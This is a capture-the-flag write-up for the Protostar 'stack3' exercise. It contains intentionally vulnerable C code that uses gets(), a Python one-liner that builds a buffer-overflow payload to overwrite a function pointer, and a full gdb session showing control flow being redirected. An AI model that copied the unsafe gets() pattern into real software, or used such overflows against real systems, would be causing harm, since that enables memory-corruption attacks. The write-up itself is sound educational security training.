Problem :lock:

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Hint :bulb:

both gdb and objdump is your friend in helping you determine where the win() function lies in memory.

Solution :key:

I learned how to redirect a file as “input from stdin” to a program opened in gdb and find the location of a function in the stack after watching this video which then made me solve this problem.

First we find the location of the win() function through gdb with:

(gdb) x win
0x8048424 <win>:        0x83e58955

Now we know the function is at 0x8048424, so let’s make the payload file (through another ssh session so we don’t exit gdb):

python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt

Now let’s set a breakpoint before printf we will know that we have successfully overwritten the fp variable if we trigger the breakpoint, we just want to know the value of fp now:

(gdb) disas main
Dump of assembler code for function main:
...
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
...
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.

From the video, we can now direct the file (containing our payload) as input from stdin in gdb:

(gdb) r < /home/user/payload.txt

when we hit the breakpoint, we see the stack:

0xbffff740:     0x08048560      0x08048424      0xb7fff8f8      0xb7f0186e
0xbffff750:     0xb7fd7ff4      0xb7ec6165      0xbffff768      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x08048424

Looks like we have overwritten the value of 0xbffff79c into 0x08048424 successfully, so we continue the program:

(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed

We have successfully overwritten the value of fp to the address of win(), and because fp is now a function pointer pointing to win(), calling fp means we are calling win().

Full debugging process
user@protostar:~$ python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt
user@protostar:~$ cat payload.txt 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$�
user@protostar:/opt/protostar/bin$ gdb ./stack3
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>:    push   ebp
0x08048439 <main+1>:    mov    ebp,esp
0x0804843b <main+3>:    and    esp,0xfffffff0
0x0804843e <main+6>:    sub    esp,0x60
0x08048441 <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:   lea    eax,[esp+0x1c]
0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
0x08048450 <main+24>:   call   0x8048330 <gets@plt>
0x08048455 <main+29>:   cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:   je     0x8048477 <main+63>
0x0804845c <main+36>:   mov    eax,0x8048560
0x08048461 <main+41>:   mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:   mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:   mov    DWORD PTR [esp],eax
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax
0x08048477 <main+63>:   leave  
0x08048478 <main+64>:   ret    
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.
(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack3 < /home/user/payload.txt
0xbffff740:     0x08048560      0x08048424      0xb7fff8f8      0xb7f0186e
0xbffff750:     0xb7fd7ff4      0xb7ec6165      0xbffff768      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x08048424

Breakpoint 1, 0x0804846c in main (argc=1, argv=0xbffff854) at stack3/stack3.c:21
21      stack3/stack3.c: No such file or directory.
        in stack3/stack3.c
(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed

Program exited with code 037.
Error while running hook_stop:
No registers.
(gdb) 

:checkered_flag: